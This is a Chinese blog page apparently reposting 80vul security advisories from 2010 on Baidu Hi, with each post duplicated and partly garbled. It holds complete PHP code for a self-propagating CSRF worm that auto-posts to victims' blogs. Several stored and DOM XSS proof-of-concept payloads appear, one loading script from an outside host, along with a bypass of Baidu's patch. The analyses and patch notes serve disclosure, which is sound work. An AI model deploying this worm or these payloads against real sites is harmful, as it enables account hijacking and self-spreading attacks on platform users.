Author: 坏人咖啡

Real Name:

Profile:

Website:

Posts by 坏人咖啡

百度Hi CSRF Bug

14 5月 2010 | category

学习笔记

已关闭评论

Author: menzhi007
Blog: http://hi.baidu.com/menzhi007
Team: http://www.80vul.com
date: 2010年5月13日

一 分析

百度空间未严格验证referer，且其token验证失效，从而引发CSRF漏洞。结合其浏览访客记录，可引发CSRF蠕虫。

二 利用

当百度空间用户浏览某页面地址时，误点击某超链接（或图片等)，如&lt;a href=http://www.l4mp.org/lab/pdf.php&gt;Hi&lt;/a&gt;，pdf.php用来截取其referer中的用户名，然后发送请求获取该用户名首页的最后一位浏览访客记录，并利用CSRF提交发布同样一篇文章，从而引发蠕虫。

示例代码：

&lt;?php
$referer = $_SERVER['HTTP_REFERER'];
preg_match("/http:\/\/hi\.baidu\.com\/([a-z0-9_%]+)\/blog/i",$referer,$sitename);
$result = get_data("hi.baidu.com","/".$sitename[1]);

//preg_match("/\[\"(([a-z0-9_%])+)\"\,\"[a-z0-9_%]+\"\,\"/i",$result,$match_valid);
preg_match("/&lt;a href=\"\/([a-z0-9_%]+)\" target=\"_blank\" class=\"ucard\"/i",$result,$match);

if(!empty($match[1])&amp;&amp;!empty($sitename[1])) {

	$show= '&lt;body onload="document.form1.submit();"&gt;
	&lt;form name="form1" id="popFormSubmit" action=" http://hi.baidu.com/'.$match[1].'/commit" method="post" &gt;
		&lt;input type="hidden" name="bdstoken" value="menzhi007"&gt;
		&lt;input type="hidden" name="ct" value="1"&gt;
		&lt;input type="hidden" name="cm" value="1"&gt;
		&lt;input type="hidden" name="spBlogID" &gt;
		&lt;input type="hidden" name="spBlogCatName" value="默认分类"&gt;
		&lt;input id="edithid" name="edithid" type="hidden"&gt;
		&lt;input type="hidden" name="spRefURL" id="spRefURL"&gt;
		&lt;input type="hidden" name="spBlogTitle" value="Hi menzhi007"&gt;
		&lt;input type="hidden" name="spBlogText" value="Hi Hero!&lt;br&gt;参考: &lt;a href=http://www.l4mp.org/lab/pdf.php&gt;http://www.l4mp.org/lab/pdf&lt;/a&gt;"&gt;
		&lt;input type="hidden" name="spBlogCatName" value="%C4%AC%C8%CF%B7%D6%C0%E0"&gt;
		&lt;input type="hidden" name="spIsCmtAllow" value="1"&gt;
		&lt;input type="hidden" name="spBlogPower" value="0"&gt;
		&lt;input type="hidden" name="spShareNotAllow" value="0"&gt;
		&lt;input type="hidden" name="spVcode"&gt;
		&lt;input type="hidden" name="spVerifyKey"&gt;
		&lt;input name="tj" type="submit" value=" 发表文章 " &gt;
	&lt;/form&gt;
	&lt;/body&gt;';
	echo $show;

} else {
	echo "Hi";
}
function get_data($host,$path) {

    $cmd = '';
    $data = "GET ".$path."  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $cmd;

	$fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;

}


?&gt;

三 补丁

缺

Author: menzhi007

Blog: http://hi.baidu.com/menzhi007

Team: http://www.80vul.com

date: 2010年5月13日

一分析

百度空间未严格验证referer，且其token验证失效，从而引发CSRF漏洞。结合其浏览访客记录，可引发CSRF蠕虫。

二利用

当百度空间用户浏览某页面地址时，误点击某超链接（或图片等)，如<a href=http://www.l4mp.org/lab/pdf.php>Hi</a>，pdf.php用来截取其referer中的用户名，然后发送请求获取该用户名首页的最后一位浏览访客记录，并利用CSRF提交发布同样一篇文章，从而引发蠕虫。

示例代码：

<?php

$referer = $_SERVER['HTTP_REFERER'];

preg_match("/http:\/\/hi\.baidu\.com\/([a-z0-9_%]+)\/blog/i",$referer,$sitename);

$result = get_data("hi.baidu.com","/".$sitename[1]);

//preg_match("/\[\"(([a-z0-9_%])+)\"\,\"[a-z0-9_%]+\"\,\"/i",$result,$match_valid);

preg_match("/<a href=\"\/([a-z0-9_%]+)\" target=\"_blank\" class=\"ucard\"/i",$result,$match);

if(!empty($match[1])&&!empty($sitename[1])) {

$show= '<body onload="document.form1.submit();">

</form>

</body>';

echo $show;

} else {

echo "Hi";

}

function get_data($host,$path) {

$cmd = '';

$data = "GET ".$path." HTTP/1.1\r\n";

$data .= "Accept: */*\r\n";

$data .= "Accept-Language: zh-cn\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$data .= "Host: $host\r\n";

$data .= "Content-Length: ".strlen($cmd)."\r\n";

$data .= "Connection: Close\r\n\r\n";

$data .= $cmd;

$fp = fsockopen($host, 80);

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

三补丁

缺

百度Hi宠物插件XSS

14 5月 2010 | category

学习笔记

已关闭评论

Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年5月13日

一 综述

百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.

二 分析

1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中

将输出一段HTML:&lt;p style="margin-top:5px"&gt;&lt;strong&gt;'+F[2]+"说：&lt;/strong&gt;"+BdUtil.insertWBR(F[0], 4)+'&lt;/p&gt;
其中BdUtil.insertWBR为
function(text, step) {
    var textarea = textAreaCache || getContainer();
    if (!textarea) {
        return text;
    }
    textarea.innerHTML = text.replace(/&amp;/g, "&amp;amp;").replace(/&lt;/g, "&amp;lt;").replace(/&gt;/g, "&amp;gt;");
    var string = textarea.value;
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
    var result = string.replace(/(&lt;[^&gt;]+&gt;)/gi, "$1&lt;wbr/&gt;").replace(/(&gt;|^)([^&lt;]+)(&lt;|$)/gi, function (a, b, c, d) {if (c.length &lt; step) {return a;}return b + c.replace(reg, "$1&lt;wbr/&gt;") + d;}).replace(/&amp;([^;]*)(&lt;wbr\/?&gt;)([^;]*);/g, "&amp;$1$3;");
    return result;
}
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.

三 利用

POC :

宠物留言管理处输入:&lt;img src=# onerror=alert(/sobb04/)&gt;

四 补丁[fix]

等待官方补丁

Author: pz

Blog: http://hi.baidu.com/p__z

Team: http://www.80vul.com

date: 2010年5月13日

一综述

百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.

二分析

1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.

2.在http://hi.baidu.com/ui/scripts/pet/pet.js中

将输出一段HTML:<p style="margin-top:5px"><strong>'+F[2]+"说：</strong>"+BdUtil.insertWBR(F[0], 4)+'</p>

其中BdUtil.insertWBR为

function(text, step) {

var textarea = textAreaCache || getContainer();

if (!textarea) {

return text;

}

textarea.innerHTML = text.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");

var string = textarea.value;

var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");

var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");

return result;

}

在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.

三利用

POC :

宠物留言管理处输入:<img src=# onerror=alert(/sobb04/)>

四补丁[fix]

等待官方补丁

百度HI个人信息页XSS

14 5月 2010 | category

学习笔记

已关闭评论

Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年5月12日

一 综述

百度空间的一段Javascript Dom操作函数在操作DOM时考虑不周,导致可以通过构造一段特殊的HTML代码，使该函数对其进行DOM操作，重新渲染页面，最终导致XSS漏洞。

二 分析

在http://hi.baidu.com/p__z/profile 代码：

(function(){
    var m_aboutme   = document.getElementById("m_aboutme"),
        isIE        = /*@cc_on!@*/false,
        ...
            try{
                if(m_aboutme.getElementsByTagName("embed").length &gt; 0) {	//如果在个人简介中存在embed标签
                    //替换个人简介中的wmode为transparent
                    m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');
                }
            }catch(e){}        
        };
        
        if(isIE){
            window.attachEvent("onload", onload);
        }else{
            window.addEventListener("load", onload, false);
        }                                                        
    })();


注意m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');要被替换的是wmode=('|")...,而进行替换的是wmode="transparent".这里替换的前后存在一个单引号和双引号的差异,正是因为这种前后标准的不统一的存在,导致了跨站脚本的执行.

假设一个HTML标签为&lt;a id="wmode='window' foo='bar'"&gt;,属性和值为{id : wmode='window' anything}被JS进行DOM操作后变为&lt;a id="wmode="transparent" foo='bar'"&gt;,属性和值为{id:wmode=,transparent: ,foo:bar}.如此一来,我们成功地把原来在值中的一串字符串转换到了HTML标签中的属性和对应的值.这将引起不必要的安全隐患.

三 利用

POC :

&lt;embed ...&gt;&lt;/embed&gt;&lt;img border="0" alt="wmode='window' onerror=alert(/sobb03/) // " small="0" src=#&gt;

四 补丁[fix]

等待官方补丁

update 2010年5月13日 

m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');
改为了：
m_aboutme.innerHTML =  m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,function(all,a){
						return 'wmode='+a+'transparent'+a;

Author: pz

Blog: http://hi.baidu.com/p__z

Team: http://www.80vul.com

date: 2010年5月12日

一综述

百度空间的一段Javascript Dom操作函数在操作DOM时考虑不周,导致可以通过构造一段特殊的HTML代码，使该函数对其进行DOM操作，重新渲染页面，最终导致XSS漏洞。

二分析

在http://hi.baidu.com/p__z/profile 代码：

(function(){

var m_aboutme = document.getElementById("m_aboutme"),

isIE = /*@cc_on!@*/false,

...

try{

if(m_aboutme.getElementsByTagName("embed").length > 0) { //如果在个人简介中存在embed标签

//替换个人简介中的wmode为transparent

m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');

}

}catch(e){}

};

if(isIE){

window.attachEvent("onload", onload);

}else{

window.addEventListener("load", onload, false);

}

})();

注意m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');要被替换的是wmode=('|")...,而进行替换的是wmode="transparent".这里替换的前后存在一个单引号和双引号的差异,正是因为这种前后标准的不统一的存在,导致了跨站脚本的执行.

假设一个HTML标签为<a id="wmode='window' foo='bar'">,属性和值为{id : wmode='window' anything}被JS进行DOM操作后变为<a id="wmode="transparent" foo='bar'">,属性和值为{id:wmode=,transparent: ,foo:bar}.如此一来,我们成功地把原来在值中的一串字符串转换到了HTML标签中的属性和对应的值.这将引起不必要的安全隐患.

三利用

POC :

四补丁[fix]

等待官方补丁

update 2010年5月13日

m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');

改为了：

m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,function(all,a){

return 'wmode='+a+'transparent'+a;

hi.baidu embed tag html injection bug

14 5月 2010 | category

学习笔记

已关闭评论

Author: GreySign
Email: g[at]jj.tc
Blog: http://hi.baidu.com/greysign
Team: http://www.80vul.com
date: 2010年5月11日

一 综述
百度空间（hi.baidu.com）在使用embed标签没有指定type，导致在webkit内核下的浏览器可嵌入html代码。

二 分析

百度空间插入视频使用embed标签，对插入目标的网站域名进行验证，只允许插入白名单内的网站，白名单如下：
\\
||土豆网 56.com 优酷网 
||酷6网 六间房 mofile.com 
||QQ播客 新浪视频 sohu视频 
||偶偶视频 UUME youtube
//
问题出现在百度并未对embed标签指定[type="application/x-shockwave-flash"]属性，而webkit内核的浏览器在渲染embed时，未指定type的会使用text/html去引入src指向的资源，从而导致可引入html代码进行执行，加上百度完全信任白名单中的网站，只要利用白名单网站的跨站漏洞即可进行攻击。
测试代码如下：
&lt;embed src="http://www.80vul.com/sobb/sobb02.php" allowscriptaccess="never" allowfullscreen="true" width="420" height="363" wmode="transparent"&gt;

而指定了type的代码不会受威胁：
&lt;embed src="http://www.80vul.com/sobb/sobb02.php" allowscriptaccess="never" allowfullscreen="true" width="420" height="363" wmode="transparent" type="application/x-shockwave-flash"&gt;

三 利用

在视频插入中，填入地址：
http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&amp;callback=%3Ciframe%20src=http://www.baidu.com%20type=%22text/javascript%22%3E%3C/iframe%3E


四 补丁[fix]

等待官方补丁

update 2010年5月13日 

hi的编辑器指定了对embed标签指定[type="application/x-shockwave-flash"]属性

Author: GreySign

Email: g[at]jj.tc

Blog: http://hi.baidu.com/greysign

Team: http://www.80vul.com

date: 2010年5月11日

一综述

百度空间（hi.baidu.com）在使用embed标签没有指定type，导致在webkit内核下的浏览器可嵌入html代码。

二分析

百度空间插入视频使用embed标签，对插入目标的网站域名进行验证，只允许插入白名单内的网站，白名单如下：

||土豆网 56.com 优酷网

||酷6网六间房 mofile.com

||QQ播客新浪视频 sohu视频

||偶偶视频 UUME youtube

问题出现在百度并未对embed标签指定[type="application/x-shockwave-flash"]属性，而webkit内核的浏览器在渲染embed时，未指定type的会使用text/html去引入src指向的资源，从而导致可引入html代码进行执行，加上百度完全信任白名单中的网站，只要利用白名单网站的跨站漏洞即可进行攻击。

测试代码如下：

而指定了type的代码不会受威胁：

三利用

在视频插入中，填入地址：

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%3Ciframe%20src=http://www.baidu.com%20type=%22text/javascript%22%3E%3C/iframe%3E

四补丁[fix]

等待官方补丁

update 2010年5月13日

hi的编辑器指定了对embed标签指定[type="application/x-shockwave-flash"]属性

hi.baidu creatbgmusic() Dom-Xss Bug

14 5月 2010 | category

学习笔记

已关闭评论

Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年5月11日

一 综述

百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码，最终导致xss漏洞

二 分析

在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码：

function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
    //传入的murl赋值到bgmusic1和bgmusic2中
    //可以通过构造类似代码来闭合标签如 "&gt;&lt;img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);&gt;#1
    var bgmusic1 = "&lt;OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + "&gt;" + "&lt;PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\"&gt;" + " &lt;PARAM NAME=\"rate\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"balance\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"currentPosition\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"defaultFrame\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\"&gt;" + " &lt;PARAM NAME=\"DisplayMode\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"PreviewMode\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\"&gt;" + " &lt;PARAM NAME=\"ShowCaptioning\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"ShowControls\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"ShowAudioControls\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"ShowDisplay\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"ShowGotoBar\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"ShowStatusBar\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"ShowTracker\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\"&gt;" + " &lt;PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\"&gt;" + " &lt;PARAM NAME=\"currentMarker\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"invokeURLs\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"baseURL\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"volume\" VALUE=\"100\"&gt;" + " &lt;PARAM NAME=\"mute\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"stretchToFit\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"windowlessVideo\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"enabled\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"EnableTracker\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"EnablePositionControls\" VALUE=\"1\"&gt;" + " &lt;PARAM NAME=\"enableContextMenu\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"SelectionStart\"  VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"SelectionEnd\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"fullScreen\" VALUE=\"0\"&gt;" + " &lt;PARAM NAME=\"SAMIStyle\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"SAMILang\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"SAMIFilename\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"captioningID\" VALUE=\"\"&gt;" + " &lt;PARAM NAME=\"Visualizations\" VALUE=\"1\"&gt;";
    if (musicnum &lt;= 1) {
        bgmusic1 += " &lt;PARAM NAME=\"uiMode\" VALUE=\"mini\"&gt;";
    }
    bgmusic1 += "&lt;/OBJECT&gt;";
    var bgmusic2 = "&lt;EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
    if (musicnum &lt;= 1) {
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
    }
    bgmusic2 += "&gt; &lt;/EMBED&gt;";
    var bgmusic3 = "&lt;div id=\"m_bgmusic\" class=\"modbox\"&gt;\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148&lt;a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&amp;cl=3\" target=\"_blank\"&gt;\u4E0B\u8F7D\u5E76\u5B89\u88C5&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;";
    var bgmus = detectWMP();
    if (functype == "FckMusicHelper") {
        if (bgmus.installed) {
            if (bgmus.type == "IE") {
                return bgmusic1;
            } else if (bgmus.type == "NS") {
                return bgmusic2;
            }
        } else {
            return bgmusic3;
        }
    } else {
        if (bgmus.installed) {
            //document.write 直接输出bgmusic变量 导致xss
            if (bgmus.type == "IE") {
                document.write(bgmusic1);
            } else if (bgmus.type == "NS") {
                document.write(bgmusic2);
            }
        } else {
            document.write(bgmusic3);
        }
        return "";
    }
}

在看百度空间里的initBlogTextForFCK()函数，调用了creatbgmusic() ,代码如下：

function initBlogTextForFCK(){
	//fck init music
	if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
	var imgBox=document.getElementsByName('musicName');			//取得了文章中的所有name="musicName"的标签数组
	var isAutoPlay=true;
	for(var i=0,n=imgBox.length;i&lt;n;i++){  //然后遍历.
		var img=imgBox[i];
		if(img.getAttribute('rel')){						
			var musicSrc=img.getAttribute('rel');				//取得标签中rel的值,赋值给musicSrc
			var musicDiv = document.createElement("SPAN");
			var tmp=musicSrc.substr (musicSrc.indexOf('#')+1, 1);		//以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
			
      ..........................
			
			//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 
			var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');
			shtml=shtml.replace('width=100%','width=200').replace('width="100%"','width=200 height=45');			img.replaceNode(musicDiv);
			musicDiv.innerHTML=shtml;
			i--;n--;
		}
	}

从上面的代码分析可以看出：在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.

三 利用

POC :

&lt;img width="200" height="45" name="musicName" rel='"&gt;&lt;img src=2 onerror=alert(/80vul/)&gt;#1' src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/&gt;

四 补丁[fix]

等待官方补丁

update 2010年5月13日 

官方补丁：

var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');
改为：
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')).replace(/[\s&gt;&lt;()]+/g,''),1,true,false,isAutoPlay,isAutoPlay,'FckMusicHelper');

update 2010年5月13日 21:50:37

补丁存在漏洞 没有过滤" 可以继续跨：

NEW POC:

&lt;img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel='http://www.xsser.net/pz/js.swf" allowscriptaccess="always" type="application/x-shockwave-flash"#2' name="musicName"/&gt;

100

101

102

103

104

Author: pz

Blog: http://hi.baidu.com/p__z

Team: http://www.80vul.com

date: 2010年5月11日

一综述

百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码，最终导致xss漏洞

二分析

在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码：

function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {

//传入的murl赋值到bgmusic1和bgmusic2中

//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1

var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";

if (musicnum <= 1) {

bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";

}

bgmusic1 += "</OBJECT>";

var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";

if (musicnum <= 1) {

bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";

}

bgmusic2 += "> </EMBED>";

var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";

var bgmus = detectWMP();

if (functype == "FckMusicHelper") {

if (bgmus.installed) {

if (bgmus.type == "IE") {

return bgmusic1;

} else if (bgmus.type == "NS") {

return bgmusic2;

}

} else {

return bgmusic3;

}

} else {

if (bgmus.installed) {

//document.write 直接输出bgmusic变量导致xss

if (bgmus.type == "IE") {

document.write(bgmusic1);

} else if (bgmus.type == "NS") {

document.write(bgmusic2);

}

} else {

document.write(bgmusic3);

}

return "";

}

在看百度空间里的initBlogTextForFCK()函数，调用了creatbgmusic() ,代码如下：

function initBlogTextForFCK(){

//fck init music

if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}

var imgBox=document.getElementsByName('musicName'); //取得了文章中的所有name="musicName"的标签数组

var isAutoPlay=true;

for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.

var img=imgBox[i];

if(img.getAttribute('rel')){

var musicSrc=img.getAttribute('rel'); //取得标签中rel的值,赋值给musicSrc

var musicDiv = document.createElement("SPAN");

var tmp=musicSrc.substr (musicSrc.indexOf('#')+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]

..........................

//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.

var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');

shtml=shtml.replace('width=100%','width=200').replace('width="100%"','width=200 height=45'); img.replaceNode(musicDiv);

musicDiv.innerHTML=shtml;

i--;n--;

}

从上面的代码分析可以看出：在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.

三利用

POC :

<img width="200" height="45" name="musicName" rel='"><img src=2 onerror=alert(/80vul/)>#1' src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>

四补丁[fix]

等待官方补丁

update 2010年5月13日

官方补丁：

var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');

改为：

var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')).replace(/[\s><()]+/g,''),1,true,false,isAutoPlay,isAutoPlay,'FckMusicHelper');

update 2010年5月13日 21:50:37

